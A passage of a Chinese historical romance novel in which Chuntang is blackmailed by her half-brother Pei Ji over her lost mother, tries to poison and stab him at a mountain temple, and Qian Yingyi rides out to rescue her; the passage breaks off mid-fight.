以蔺边鸿为首的一班官员被关押在囚车里,一路行过,不少百姓指摘唾骂,倘或不是府兵拦着,百姓们早已上前狠狠撕开他们的身躯。 秦离铮高坐马上,身侧跟着褚之言与锦衣卫们,底下是魏明含笑相送,“秦指挥,一路辛苦,届时抵达京师,还请替老夫向皇上问安。” 秦离铮点点头,当即扬辔掉转马头,双腿一夹马肚,押解一众犯官的队伍便缓缓往太平门行去。 路上,秦离铮一直是副漠然神态,褚之言瞥他一眼,道:“我晓得你还在担心什么,不必担心,咱们留了五人在金陵,专守着钱小姐,只待那裴骥一露面,立刻绞杀。” 秦离铮转脸瞧他,半晌点了点头,只当是放下心来。 辗转大半个时辰出了城门,光束下满是杂乱的尘埃,临近城门口的僻静角落里,有辆马车静静停着,挂着缃色的帘子。 秦离铮似有所感,遥遥往那头凝望着。 下一刻,车帘被素手撩开,露出一双晶莹剔透的眼睛,隔着不算近的距离,平静里带着笑,把他深深回望一眼。 秦离铮扯出个肆意妄为的笑,没有再策马跑向钱映仪,只把怀里那个代指她的泥人拿出来晃一晃。 在金陵的深秋里,满是梧桐落叶,风吹在人上带着丝丝清凉,钱映仪坐在马车里遥望逐渐模糊的背影,却觉得这风浸进骨头缝里都带着一丝舒畅。 她晓得,他们之间还有很漫长的时间值得慢慢来,他若是片飘回京师的叶子,她就是短暂扎根在金陵的树,她的世界一惯过得快,他迟早还要长回她的身上。 终于,在再也瞧不见秦离铮的身影后,钱映仪轻声笑道:“回去吧。” 马车掉转,二人从初识至今第一次往相反的方向迈出,远的是距离,悄然贴近的,却是如藤蔓般紧紧绞缠在一起的心—— 作者有话说:钱映仪:把我的手办送你,去哪儿都得带着! 小情侣短暂分别啦~接下来是映仪的主场 第53章 一行犯官被收拾,蒙在金陵城天空里的薄纱霎时被揭开,光阴瞬转,一恍过去半月,都是大晴的好日子,太阳晒来晒去,晒走了钱林野与任郁青。 夫妻抱着团姐儿回京师那日,钱映仪颇为不舍,期期艾艾看着团姐儿,柔声喊道:“团姐儿,团姐儿,姑妈不久也回京师了,你可别忘了姑妈。” 任郁青半开玩笑,“若 非你哥哥实在不能再留在金陵,我倒真不想走,你这样舍不得,不如把团姐儿留在金陵,与你做个伴?” 钱映仪望向钱林野努一努嘴,“他会舍得他的心肝儿留下来?” “还是算了,”钱映仪摆一摆手,“总归我也是要回京师的,短暂的分离嘛,不要紧的。” 钱林野颇有些舍不得妹妹,临行前,再三看了钱映仪几眼,那些肉麻的话在舌尖打了个转,最终变了变,“你不是有更舍不得的人?放心,哥哥回京师见了他,立刻催他来金陵接你。” 那时候钱映仪只是笑,催促他们快些走。 这厢眯着眼坐在园子里晒太阳,钱映仪心中那抹不舍复又冒了尖,总觉得热热闹闹的宅子又清冷下来,少了点儿声音,少了点儿想见的人。 好在钱家玉幸还留在金陵,正兜着一筐野菊进园,甫一见钱映仪发愣,便悄么声息绕去她身后,旋即在她耳畔打了个响指,“干嘛呢!” 钱映仪猛然回神,见她伏腰坐过来,亲昵贴过去蹭一蹭,顺手捻起野菊在指尖,放在鼻尖下重重一嗅,笑道:“晒太阳哩,夏菱讲这时候的太阳不会晒伤皮肤,姐姐,你都往哪里去了?” 姐妹俩坐在大花园里,秋风掠过花香,花瓣落在裙边,使二人像是自花园里长出来的花仙。 钱玉幸眯着眼笑,由太阳晒得慵懒,歪着身子往钱映仪膝头倒,牵了张帕子盖住上半张脸,红唇轻轻翕合,“我还能往哪里去?这都十月半了,春棠的婚期不是定在十一月初十?她从前陪你耍,使你也不至于孤孤单单,我这个做姐姐的看在心里,闲来无事,不也得跟着帮衬帮衬?” “野菊泛苦,我往外头去摘了,打算熬成花浆,等她出嫁那日,做些野菊饼,”钱玉幸绽开个狡黠的笑,摩拳擦掌,“逗弄逗弄小玳瑁。” 钱映仪“噗嗤”笑出声,灵动的眼转一转,俯身往钱玉幸耳畔悄声说话,“说起来,我也想了几个戏弄他的游戏,姐姐,我同你说” 两个笑作一团,没几时,钱玉幸想起一事,自钱映仪膝头爬起来,震落满地花瓣,道:“说起来,我往外头走一趟,经过府署,见着一张告示,是关于范家的,你听不听?” 钱映仪稍怔,想及范宝珠这个单纯的姑娘,便把坐姿渐渐端正起来,“听。” 钱玉幸觑着她,反倒先笑了笑,“瞧把你紧张的,范家没人会死,我细细看了那告示,是皇上提前下的令,范大人清廉一生,皇上是看在眼里的,念在奸人撺掇,便没严惩范大人一家,只罢了范大人的官,命他回乡反省自身,虽说这回押解回京师的队伍里有范大人一家,可我想,大抵是去京师走一走过场。” 闻听范大人一家保住了性命,钱映仪叹息里带着些许唏嘘,“这都是命” 眼见又说起这些沉重之事,钱映仪忙不迭甩一甩脑袋,顷刻换了副面孔,笑吟吟挽着钱玉幸起身,“哎呀,别人家的事,再如何也轮不到咱们在这悲伤,咱们还说春棠,嫁衣、嫁妆都准备妥当了,姐姐,你说,还差点什么?” 钱玉幸跟着笑,歪着脑袋想一想,“嗯我听你说,他们是打算另住新宅,是不是?既不与父母同住,那也没那么多的死规矩守着,宅子可装点过了?” 钱映仪扇一扇两帘睫毛,猛然握个拳头往掌心一敲,满心欢喜,“是呀!我怎么把这事给忘了!” 微暖的风在花园里萦绕,花瓣围裙转,转走了钱映仪高高兴兴去忙碌。于是在隔日下晌,她便转到了春棠与小玳瑁在淮清桥附近的宅子里。 小玳瑁的父母皆是敞亮人,闻听要装点新宅,也不行按部就班那一套。 床幔、珠帘,全部焕然一新,红得耀眼,杯盘碗碟、铜锡竹器皆是崭新的,家具早先便寻了位熟识的木匠赶制,正巧在今番都摆进宅子里。 忙前忙后一阵,已是暮色四合,落日鎏金。 这厢都汗涔涔坐在树下歇息,蒋父笑吟吟搬来张竹编圆桌,蒋母遂把烧好的菜一一端上,一盘糟蟹,一碟烧肉,一碟鸡肉元子,一碟炸烧骨,并两样青白时蔬小菜,一壶乌梅汤。 大约是同钱映仪还不够熟,蒋母依旧客客气气,“钱小姐,倘或不嫌弃,您就多吃些。” 钱映仪忙活一下午,早已是饥肠辘辘,笑嘻嘻跟着伏腰坐下,便夹了个鸡肉元子送进嘴里细嚼慢咽,片刻,惊喜夸赞道:“伯母,您手艺当真不错,比我在外头食肆吃过得的要好呢!” 蒋母不好意思捂着嘴笑,又张罗着,“吃,都多吃些!” 一顿饭用罢,蒋父蒋母自知多待不合适,旋即挥手告辞,只说有什么要帮衬的,叫小玳瑁往香铺里寻他们。 钱映仪瞥着小玳瑁与春棠,有心让二人独处,遂抬脸望一望天,“咦,夏菱,你听见没?河边正热闹呢,咱们要不要去耍一耍?” 夏菱机灵似狐,眼珠子轱辘轱辘转,忙笑道:“是!听着了!” 于是两人一面说,一面往外走,话音甫落,门一开一阖,便只剩小玳瑁与春棠两个对坐。 小玳瑁今番是喝了点酒,脸红扑扑的,一双眼睛直勾勾盯着春棠,叫她羞得两腮渐染红晕。 余光瞥见一旁的冬青树有枯叶摇摇欲坠,春棠干脆起身往那头走,仰脸把枯叶望着,继而踮起脚,打一打没那么高的叶子。 正伸出手,白皙细嫩的腕子便被一只滚烫的手给握住了。 春棠一惊,被一股力道带着旋身,落进一双杂糅着笑意却又铮亮的眼睛里。小玳瑁淡挑浓眉,一手捉着她往树根上抵,一手与她比划——躲我? 其实每回与他独处,大多数时候都是春棠主动亲一亲他,大约是觉得亲她过于冒犯,小玳瑁总是小心翼翼的。今番也许是饮了酒,又或许是婚期将至,身处喜庆的宅子里,小玳瑁便难以克制自己的情意。 他歪脸窥一窥春棠羞红的脸,分明自己连耳廓都红得仿佛要滴出血,还是俯身往她脸上亲了下。 见她没躲,又把轻柔的吻慢慢地挪向她的唇,鼻尖轻刮着春棠的脸,感受着她的轻颤,便把这个吻加深,用湿/濡的舌头横扫她的唇缝,卷走她的口脂,一点点碾磨。 吻到呼吸渐浓,便轻掐她的下颌,自顾窜了进去,动情时,明知她听不见,却还是一遍遍喊她,“春棠春棠” 春棠背欹在树根上,仰脸承受他的吻,不同于 先前的蜻蜓点水,带着彼此浓重的爱,她也搂上他的脖子,带着急促的呼吸,一点点地回应他。 到呼吸极限时,小玳瑁总算低喘一口气,松开了春棠。他舔了舔下唇,拿脸去蹭她,紧紧抱着。 俄延半晌,春棠方平缓下来,嗅到他身上的酒气,便窃窃一笑,伸手推他的肩,抬手与他比划——快去洗洗,好臭。 小玳瑁抖着肩笑,由胸腔里振出甜蜜,连连点头,退离她往正屋里走,没走两步,复又跑回来,双手掬着她的脸,往腮畔“啵”地亲了下。 旋即身影隐进正屋里,不一时,屋子里亮起微黄的灯,他忙碌的影便映在纱窗里。 春棠笑得欢喜,拿手背蹭一蹭唇,想起方才那个火热的吻,也很是羞怯,趁他不在,她也需要做些什么来浇息自己的炙热。 瞥见挨着墙根底下有几个歪躺的酒坛子,她干脆走去收拾一番,把门拉开,把酒坛子逐一放去门外,天亮便有人来收。 放好最后一个,春棠直起腰身拍一拍手,正要提裙进门,不防一旁伸出一只手,猛然把她一拉,旋即捂住她的口鼻,一径拖拽进了隔壁。 春棠惊得胡乱挣扎,见挣扎不过,忙反拔头上的簪子就欲刺过去,谁知一双手被拧在背后,转而整个人被反摁在门后。 宅子里没点灯,厚厚一片尘埃,门上的灰尘呛得春棠眯了眯眼,灰尘散去,她便借以月色看清了缓缓悬在面前的一张脸。 裴骥拨一拨她的耳珠,歪脸往她胎记上细细瞧着,半晌,扯出个兴奋的笑,“珍珠,妹妹,真是你啊。” “是我啊,我是哥哥,”他指尖轻轻滑过春棠耳后那一小片肌肤,眼里蕴着点光,“不记得哥哥了?” 春棠惊怔着神情,望向裴骥的目光里牵出防备、怒意、陌生,偏偏没有回忆与熟悉。裴骥把眉轻挑,低哼出一声笑,“都忘了?” 他把下颌轻点,“也是,吃过一些苦,把前尘往事忘得一干二净,也是常有之事。” “无妨,哥哥帮你想起来。” 裴骥这一回倒幸运至极,先前找准机会及时逃出城,才不至于被秦离铮擒住,自打犯官被押送回京师,他便猜准秦离铮仍有后手等着他。 因此生生等了半个月,等到今番钱映仪离去,短暂与春棠分离。 哼,那些守着钱映仪的锦衣卫可不会守着春棠,这才使他寻到机会钻了空子。 管家正摁着春棠的背。 虽知她无法呼救,可想着隔壁宅子里有她的未婚夫婿,裴骥只好速战速决,往怀里取出一个残旧的拨浪鼓,鼓棒刻着“珍珠”二字,鼓面勾画着花花草草,一看便知是孩童胡乱涂鸦。 他噙着残忍的笑,把拨浪鼓在春棠眼前来回晃,十分有耐性,即便知道她听不见,也依旧说道:“珍珠,可还记得这个?” 春棠的眼神在落向拨浪鼓时,须臾就变得茫然,渐渐地,目光挪向“珍珠”二字,她的面色登时变得惨白,痛苦闭紧了眼,连鬓边都跟着渗出冷汗。 一刹那的功夫,被封存的一段记忆如洪水开闸淹没了她。 珍珠,拨浪鼓,哥哥,爹娘,淮安裴家,这些字眼倒灌进她的心里,令她低喘着气,逐渐有些无法呼吸。 六岁时,她被人从家里带走,一路吃尽苦头,可最叫她日夜哭喊的,是那人与她说—— 你娘不要你了。 也正因没日没夜的哭喊容易引人怀疑,那人几番殴打自己,一通打骂下来,她渐渐听不见了。 后来,她辗转被卖到离淮安不远的牙行,牙人折磨,她不得不展露獠牙,狠狠撕咬以保全自身。 她早已记不清自己在泥潭里翻滚了多久,只知在漫长的日夜里,她逐渐忘了自己是谁,只知护全自己。 再是那一次,她因行色暴虐,被辗转卖往金陵,在牙人交货的途中,她逃窜出来,也是那个被追逐的傍晚,她在街上遇到了小姐与老太爷。 她想起来了都想起来了 春棠狠厉中带着恨的眼睛甫一抬起,裴骥便知她已然想起,慢吞吞往她身前蹲下,掏出纸笔,写下: “想起来了?妹妹,娘一直都在找你,可是迟迟找不到,急火攻心,她早在两年前就死了,你想不想去见娘?” 春棠目色巨颤,什么叫娘一直在找自己?不是娘不要自己了? 裴骥又写: “可是很遗憾,你晓得的,那是你娘,并不是我的亲娘,哥哥使了个心眼,你娘下葬时,埋进祖陵的只是一副空棺材,百年之后和爹躺在一起的,依旧是哥哥的娘,至于你娘真正的埋葬之地,哥哥另寻了一处,你想不想知道呢?你想不想见娘呢?” 春棠眼里蓄着泪,惊涛骇浪般的打击致使她脑子里只剩下一件事——娘没有不要她,娘一直在找她,娘死了。 她有瞬间的惶然,挣扎的力道也渐渐小了,整个人脱力往门下栽去。 裴骥垂眼睨着她,无所谓笑了笑,又写: “珍珠,你我是兄妹,哥哥有一事要求你,你伺候的钱小姐,其实还有个身份,她便是写那志怪话本的金陵小红豆,是不是?” 春棠猛然望向他,惶然无措的眼里复又布满防备。 一见她这模样,裴骥便知自己猜测得没错。起先他也不知,是后来与璎娘那戏子在一起时,见她翻看话本,笑指书封上的武生与青衣小像,感叹有趣,他便多留神了几眼,尤其是署名下的垂耳兔印章。 当时他想,这金陵小红豆定然是个女人,他自知还算了解女人,只有女人才肯在这些事上花心思。 趁乱逃窜出城那日,因知晓秦离铮一直在找自己,他刻意乔装打扮为摇橹人,掩进最热闹喧阗的淮河,也正是如此,他在河边窥见了匆匆跑出乐馆的秦离铮与钱映仪。 这才推测出了大事,暗自在城门关闭前出了城。 自然也看清了钱映仪腰间垂挂的印章。 为验证自己的猜测,这两日,他冒险进城,潜进印宝阁,寻到了那位陈姓东家,试探问过两番,虽未得到明确的答复,可他也不是白做这么多年的生意,单凭那东家遮掩的神情便知自己的猜测没错。 今番又见春棠的防备目光,裴骥愈发笑得森然,笑着写下: “别瞪哥哥,珍珠,哥哥想求你把钱小姐带来见哥哥一面。” “哥哥也爱看她写的话本呢,哥哥记得她最新撰写的是个世家子弟贪恋小姐家族兵权、继而被反杀的故事,是不是?珍珠,你瞧,那瑞王世子和郭小姐,是不是与这话本里的结局很相似?” “你说,倘或哥哥把钱小姐就是金陵小红豆的秘密公之于众,再加以添油加醋,百姓们向来避讳神鬼,会不会觉得钱小姐太过古怪,继而渐渐避她如蛇蝎?珍珠,你在门户里待了这么多年,你该知道的,流言向来能杀死一个人。” 裴骥巧妙遮蔽眼底的恨,复又温柔把春棠看一眼,把最后一张纸悬在春棠眼前—— “珍珠,想知道娘的墓在哪里,还想见娘一面的话,你就乖乖听话,三十那夜,把钱小姐带去绣球山山腰上的土地庙,哥哥在那里等你。” 旋即命管家把她松松绑在门后,自顾离去。 淮河两岸刮着凉爽的风,钱映仪袅娜身影绕着河岸打转,一径行来,先去糖水铺前走了走,瞥见那紧闭的门,才回过神,暗道梁途带着梁溪照一并去京师了。 于是又和夏菱两个挽着臂弯,这里走走,那里瞧瞧。 不知是不是在路上见了几对鸳鸯的缘故,热闹的天地里,处处都是秦离铮的影子。 一时是他买点心与她吃,站在摊前静等的模样,一时又仿佛时间倒流,转回乞巧那夜,他抱着自己笨拙跟着跳舞的模样。 钱映仪余光瞥向身后几道身影,知道是秦离铮留下守着自己的锦衣卫,撇一撇唇,免不得在心中暗骂他一番。 “小姐快瞧,今夜的星星好亮呢!”夏菱轻掣着她的胳膊。 如今人不在跟前,钱映仪安静不少,轻撩眼皮跟着去瞧,却觉得这星星少了些滋味,从前她也爱看星星,可那时候是纯粹的欣赏,如今再看,好似在透过星星追寻一道身影,她又忍不住想——这颗星星,他有没有看见呢? 她想,天地辽阔,他们之间即便隔着州府,隔着山川河流,抬眼去瞧,总归是同一片天空。 “是很亮”不想驳夏菱兴致,钱映仪跟着夸赞一番,正还要指一颗更亮的星星,不防身边讶然出现一道身影。 原来是璎娘惊喜窜来她跟前,披着青色的披风,说起话来把她一双手紧握,“钱小姐,真的是你,我以为我看花眼了呢,你怎地这时候没回家,在河边耍?” 钱映仪晶莹的眼刹那瞪圆,忍不住把她一番扫量,半日绽开一抹笑,“你今日瞧着舒坦,没去门户里唱戏?” 璎娘眼皮子往上翻了翻,吊着眼梢说话,“此事说来话长呢,这里不是说话的地方,小姐可要随我去戏楼里坐坐?” 钱映仪四面睃巡一眼,见热闹正盛,她也无心在这时候回去,便笑把下颌轻点,“好。” “什么?你说你打了裴骥几耳光?”戏楼雅间里,钱映仪握着热茶,惊诧半日方启唇,“所以” 璎娘瘪一瘪唇,整个人倒是轻松得像张薄薄的纸,“是,不瞒你说,起先我同在他在一起,目的也不单纯,你晓得的,那次在晏家被污蔑,这事一直是我心里的坎,我图他的钱,他图我什么我不知道,但总归是你情我愿的事。” 她道:“小姐,那日我不是在琵琶巷撞见你?头先他还热 情得很,不知因何缘故,一时又冷淡下来,我实在有些受不了,也渐渐没了滋味。” “后来他突然消失,我干脆就淡了这份心思,如今偶尔在戏楼唱戏,倒是不少门户里的少爷追过来听呢,这让我觉得,我其实也没那么差劲,我既不差劲,何苦还揪着从前被污蔑的事不放呢?这世间自有懂我的人,我如今攒了些钱,也没那么缺银子了。” “世间自有懂你的人”钱映仪跟着喃喃,撩眼望向她的脸,不见愁容,满是笑意,钱映仪便跟着她笑,一连迭点头,“你说得对,你说得对,找到懂自己的那个人,才是真理。” 璎娘把点心往前一推,身子也跟着往前扑,把细腰轻折,与钱映仪嘀咕,“不过话又说回来,小姐可知他去了哪里?说起来,最后一次同他相见,我还意外偷听到他与管家说话呢,只是没听太清。” 钱映仪自然不知裴骥的去处,只凭猜测认为他也许在淮安府一带掩藏,不过这不是她该担心的事,裴骥只消在她身边露面,便自有锦衣卫擒了他。 因此她嗅着屋子里的沉水香,懒洋洋笑,“你偷听到了什么?” “没听太明白呢,”璎娘嘀咕道:“一些什么二小姐、珍珠、被卖、胎记的字眼,那时候正要细听,他就拉门出来了,面色也古怪。” 钱映仪没当回事,跟着点点头,两个一并又说了些话。 说到最后,竟是璎娘握拳往桌上猛然一捶,只道这裴骥专门哄骗女人,别再让她在金陵瞧见他,否则,定要使几个小厮一并罩住他,一顿棍棒上身,把他一通好打。 说得钱映仪噗嗤笑了两声,见天色渐晚,便起身告辞,“回头想是没有回头那日了,我再过一段时日便要启程回京师,你晓得的,我是京师人,这一去,也不知几时再回金陵,今番能再巧遇你,证明咱俩有做朋友的缘分,届时倘或我有喜事临门,请帖送来金陵,你可得来。” 璎娘也闻听过她与那位锦衣卫指挥使的事迹,说到底,唱戏这么多年,钱映仪是头一个、亦是独一个从未嫌弃过她的人。 她由衷地为钱映仪高兴,想及她要回京师,不免鼻头发酸,却也漾开个笑,上前轻轻抱住她,“就这么说定了,我一定去。” 钱映仪回揽着她,也为自己高兴,在将要离开金陵之际,她复又寻到了一位真诚的朋友。 辗转回到钱宅时,赶巧与春棠在前后脚进了云滕阁。 这厢见春棠失魂落魄,钱映仪便把灯笼悬在她的脸上瞧一瞧,窥清她眼睑浮肿,像是哭过,她登时变了神色——好端端地,怎么哭了?小玳瑁欺负你了? 春棠愣神垂着眼,未作反应。 钱映仪脸一沉,当即旋身,“他人呢?我找他去!” 不防猛然被春棠拦腰抱住,背后贴上春棠的脸,紧接着,是细细的啜泣声,带着点生涩、许久未曾开过口的啜泣。 钱映仪不可置信转过身,兜着春棠的肩,与夏菱两个互相睇眼,下意识开口:“春棠?你能说话?” 复又意识到春棠听不见,见她泪流满面,心中愈发焦躁,忙不迭地比划起来——你究竟怎么了?好好的,你同我说,是不是小玳瑁欺负你?若是他,我打死他,我与夏菱走后,你们之间发生了什么?你怎么突然能发出声音了? 春棠只是默然流着眼泪,神色却有种说不出的痛苦,钱映仪也跟着急,语气重了点,“你快告诉我呀!” 俄延半日,春棠才闭了闭眼,攫紧她的衣袖,上前抱住她,片刻,抽出帕子细细揩拭泪珠——没事,就是想着要出嫁了,舍不得你们,心里一时难受。 夏菱方才亦是急得打转,这时候见她说没事,方长舒一口气,回她——没事就好,你怎的突然能发出声音?能不能听见我们说话?若是能,是不是能治好? 春棠听不见、也不说话这件事,往前数几年,钱映仪不是没使过法子挽救,可请来的郎中瞧过,都遗憾摆了摆头,加上春棠自己不大在意,渐渐地,这事便顺其自然了。 如今乍然听见春棠说话,钱映仪心里亦是升起无限希冀,眼睛牢牢把春棠盯着。 可惜的是,春棠只是挤出个笑——不知道,忽然就能发出声音了,还是听不见你们在说什么,不要紧的。 钱映仪紧锁着她的神情,心中渐渐升起一丝古怪,还未被她抓住,便叫夏菱逗弄春棠的动作给打断了。 夏菱哄笑着,大约只想让春棠开心起来,便接过她的帕子替她细细拭泪,却悄么回身,越过春棠的肩头望向钱映仪,“好啦,她很少哭呢,喜事将近,待她成完婚,咱们悄悄去请个郎中来替她瞧瞧。” 钱映仪抿一抿唇,没再说什么,暗道此言在理,便也跟着抚一抚春棠的背。 晚秋的夜风里带着点凛冽,站久了,三人便缩一缩肩,互相依偎着进了屋子,由着这风刮呀刮,刮得漫天星辰渐隐,太阳东升,日复一日,一恍又过去半月。 三十这日,因离婚期只剩十来天,依照新嫁的规矩,两个新人不能再见面。小玳瑁舍不得春棠,便喜滋滋的,悄么带着她在新宅里把喜服又试了一遍。 少年穿着大红刺绣圆领袍,兴兴看着凤冠霞帔的春棠,眼底的眷恋之色挥之不去,想着接下来不能相见,便把春棠一把揽进怀里轻揉,好似这样就能揉进他的骨缝里,使她还在自己身边。 春棠脸上噙着笑,轻轻回抱他片刻,蓦然从他怀里仰起脸,踮脚去亲他的下颌,一点点挪向嘴唇,重现上一回的火热。 亲到气喘不已,指尖复又拨开他的衣襟,往他爬了几根青筋的脖子上轻嘬出几个浅粉的印记,仿佛这一回情难自抑的那个人变成了她。 小玳瑁惊诧得往后躲了躲,又被她摁住,他滚了滚喉结,气息渐渐跟着低喘,静等半日,才等到春棠松开他。 春棠久久凝视着他,指尖描绘他的眼眉,落向鼻尖,嘴唇,眼里牵出浓重的不舍。俄延半晌,便静静转进屋子里,褪下了喜服,换回原本的衣裙,挎着一篮子花作势要离去。 小玳瑁依旧发蒙,问——你去哪?不再多留片刻? 春棠回身望着他笑——我在金陵有门亲戚呢,前几日发梦,记起来了,我不是要嫁给你了?我先去认认亲戚,届时再想要不要请他。 听她说想起来自己有亲戚,小玳瑁稍显茫然,狐疑的神色转了转,又比划着——我陪你去。 春棠却轻轻挣开他,身影单薄得像片飘渺的纱——小姐要往家里送喜烛,你在这等着。 她说“家里”,使得小玳瑁方才的甜蜜又从四面八方往回溢,他抿一抿唇,忖度片刻,便点了点头,往她唇上落下一吻。 旋即春棠出门,小玳瑁独自留在新宅里环视着喜庆的红色,等了半日,等到钱映仪带着夏菱登门,篮子里装满了红彤彤的喜烛,他忙迎上去接过来,嘿嘿笑了两声,“谢谢小姐。” 钱映仪站在门口跺着鞋面上的一点尘埃,够眼往宅子里瞧一瞧,问,“春棠呢?” “她说她瞧亲戚去了,”小玳瑁伏腰把喜烛搁在廊下,“她说做梦记起自己在金陵还有亲戚,真有这么巧的事?我说我要陪她去,她命我在这等您。” 钱映仪心内咯噔两声,霎时变了副神色,“她是淮安过来的,我最是清楚她的情况,她哪里来的金陵的亲戚?” 小玳瑁动作一顿,渐渐敛了笑,瞳眸里泄出一点惶然,语气称得上是笃定,“她在撒谎?” “她是淮安人”小玳瑁喃喃道:“是啊她是淮安人,我怎么能忘!” 他当即佩剑往外冲,“我现在就去寻她!” 先前被压下去的那抹古怪复又悬在钱映仪心头,她拦下小玳瑁,拧眉追问,“那日你们二人独处,可曾闹过什么不愉快?” 小玳瑁脸色渐冷,闷头想了想,否认道:“没有。” 钱映仪深深吸气,急躁起来 在门前来回踱步。春棠究竟出了何事,一时是在她面前哭,一时又在小玳瑁面前撒谎。 亲戚?钱映仪很明白,当年从牙人手里买下逃窜的春棠,那时牙人说,她是从淮安府被卖过来的,根本不可能在金陵有什么亲戚! 彼时春棠浑身上下脏兮兮的,只有两只耳朵还算干净,家里的丫鬟一惯是往外头签活契的,鲜少有直接当成买卖买进家里的。 那时二婶婶心细,见春棠耳后有胎记,耳朵上还钻了耳眼,便有心去外头探了探,怕她是出自什么罪臣之家,落难才被卖到牙行,用在家里伺候的人,还须谨慎些才好。 钱映仪止不住地来回踱步,愈是这种要紧关口,愈是逼迫自己冷静下来,否则,不知春棠目的,偌大的金陵城这一时半会上哪里去找? 钱映仪细细回想这些日子春棠的古怪之处,一切仿佛是从她自河边回来之后,钱映仪难免有些埋怨自己,倘或她那夜不曾往河边去,不曾在璎娘那逗留过 倏然间,钱映仪步伐一顿,猛然抬眸望向夏菱,“你可还记得那日在戏楼,璎娘是否说过“胎记”二字?” 夏菱心中急切,垂着脑袋仔细想了想,忙把下颌轻点,“好像是说过,不过说的是她偷听那裴骥说话” “裴骥也是淮安人!”钱映仪霎时打断了她,面色惊骇,“他是淮安人,我不信有这般巧的事,恰巧他在说什么胎记、二小姐,恰巧春棠耳后有胎记,又是从淮安被卖来金陵的,可现下不往他身上想都不能够!” 她带着几分仓皇揣测春棠与裴骥之间的关系,片刻,不由地赌上一把,倏然喊道:“你们都出来!” 下一瞬,五名锦衣卫依次出现在她身后,“小姐。” 钱映仪紧要牙关,腮边蹦出一条坚硬的弧度,声音却在打颤,“金陵拢共有六个城门能出城,你们分散去寻我身边的婢女,我走余下的那个城门出城,快!” 锦衣卫们面色为难,“可是指挥交代,不许小姐出半分差错” “她出差错,就是我出差错!”钱映仪蓦地急吼出声,带着小玳瑁与夏菱冲出巷口,立即斩断缰绳,又往巷口人家借了一匹马,喊道:“最坏的猜测,春棠要出事!” 旋即三人一策马,马蹄旋即往外冲,到闹市时,免不得要放缓速度,钱映仪心中焦急,偏巧在这时候又听临街药铺一位东家懒洋洋倚在门口与人说话,“嘿,这时候生意是不景气哩,我从早上开张至今,你猜怎么着,只有个哑女来铺子关照了生意,买的还是砒霜,说是药家里的老鼠,不景气喽——” 钱映仪脸色一变,忙不迭地翻身下马,跌跌撞撞跑去药铺前,急声追问,“敢问东家,那哑女穿的什么衣裳?” 东家被她唬一跳,一时没讲话,小玳瑁见状,心中跟着发急,忙掏出一锭银子抛给他,东家这才细想片刻,道:“酂白的裙子,上头是件苍色短比甲,绣着绣球花。” 钱映仪闭了闭眼,心中恐慌更甚,追问春棠离去的方向,忙又翻身上马,再也顾不得什么,一扬马鞭就往城外赶。 辗转半个时辰出了城,一径寥无人烟,绣球山却离得不远,眼见分出两条道,一条环着山脚,一条往山上延绵,钱映仪咬了咬牙,回身与小玳瑁道:“分开找!” 旋即一路策马上山,甫一进山,落日余晖消失得无影无踪,潮冷尽数扑面而来,凛风如刀,刮在皮肤上泛着细细密密的疼,钱映仪却顾不得这些,甚至顾不上山路崎岖、一个不慎便有跌落山脚的惊险。 心里越是慌张害怕,钱映仪驭马的速度就愈发快。 她只知,她不能再叫旧事重演,她不能再眼睁睁看着自己身边重要的人离开自己。 这厢裴骥在土地庙静等半日,总算等到春棠的身影出现在庙口,不见钱映仪,他难免阴沉着脸,朝管家挥一挥手,管家旋即押着春棠进庙。 案上有纸笔,春棠泠然垂眼,提笔写下: “哥哥,小姐事忙,我与她相约来此摘花以作新婚之用,她晚些时候会来的。” 旋即把花篮搁在桌上,伏腰坐下,静静凝视裴骥一眼。 裴骥居高临下睨她半日,哼出一声笑,复又坐回去,阖着眼静等。 等来等去,等到过去约莫大半个时辰,裴骥没了耐性,复又起身绕着春棠打转,歪着脸问管家,“你说她是不是在骗我?” 管家站在春棠身后,斜着眼觑春棠的背影,晓得她听不见,说起话来也不避讳,“您拿她娘的事骗她,她只要在意她娘,就一定诓钱小姐过来的。” 春棠垂着眼时,神情十分乖顺,静静取了桌上的茶壶,往杯盏里斟了一杯冷茶,轻掣裴骥的衣袖,把茶递给裴骥,在纸上写: “哥哥,我娘埋在哪里?现在能说与我听了吗?” 裴骥握着杯盏转了转,在盏缘窥清细微的粉末,不防牵出一抹意味深长的笑,盯着春棠没动。 春棠与之对视,渐渐地,神情变了又变,最终狠戾抽出藏在袖管子的匕首,猛然起身往裴骥胸口刺去—— 谁知裴骥在察觉到茶水里被她下了东西时便已有防备,两三下躲开,顺手握着杯盏砸向她的腕子! 匕首落地,他一把捉紧她两只手腕,反摁在桌面上,压弯了她的腰,眼神放肆地要往她衣襟下钻,“珍珠,你耍哥哥?” 春棠使力挣扎,到底抵不过裴骥,被他拿双腿捆住,他眼里蕴着点疯狂,“嘶,细细看你,如今和哥哥倒是不像了,性子也远远没有小时候可爱,你还想杀了哥哥?珍珠,你太大胆了,不过哥哥瞧你这姿色却是好的,你说,尝起来是什么滋味呢?” 言罢他牵出一抹冷冰冰的笑,向春棠慢慢俯身。 不防杂乱的脚步声渐起,钱映仪的身影蓦然出现在庙前,她登时大骇,泼口骂道:“畜牲!你放开她!” 裴骥一怔,歪脸望向钱映仪,眼色立时布满惊喜,“还以为今日竹篮打水一场空呢,钱小姐,倒是我低估你对我妹妹的情谊了,她既独身前来,想必是瞒着你的,你是如何猜到的?” “我如何猜到的干你何事?”钱映仪冷然道:“你东躲西藏,像条丧家犬,即便把我骗来这里又如何?你以为你逃得了吗?” 也许“丧家犬”三个字狠狠刺了裴骥一下,使他松开春棠,绕去桌子另一边,冷冰冰地 盯着钱映仪,“丧家犬又如何?你今日注定要死在我手里,你可知我有多恨!秦离铮敢打断我两条腿,我就在今日弄死你,让他这辈子都后悔莫及!” 旋即与管家互相交换了个眼色,两个男人猛然扑上去捉钱映仪。 夏菱心悬到了嗓子眼,当即狠踹管家一脚,被他反拽头发往前拖拽,她暗咬牙,干脆顺着他的力往他身上爬,猛然咬住他的耳朵,待他松开自己,又狠狠抬脚往他身下一踹—— 而春棠这头则死命拖着裴骥,裴骥动作却极快,不知何时掏出一把匕首,猛地往钱映仪身上刺去! 钱映仪反手一挡,手上一串珠子稀稀散散落地,她的人也跟着往后跌退,踉跄跌坐在了门槛边。 春棠发起狠来獠牙尽露,自知力气上敌不过,便顺手抄起地上一块板砖狠砸裴骥,裴骥吃痛下把她猛地往上一提,“你就这么想死?!行,哥哥成全你!” 转而高扬匕首—— 钱映仪在这短暂的时间里呼吸顿停,眼神落向地面那些珠子,意识到裴骥在干什么,一股翻滚的怒火在她心里沸腾着。 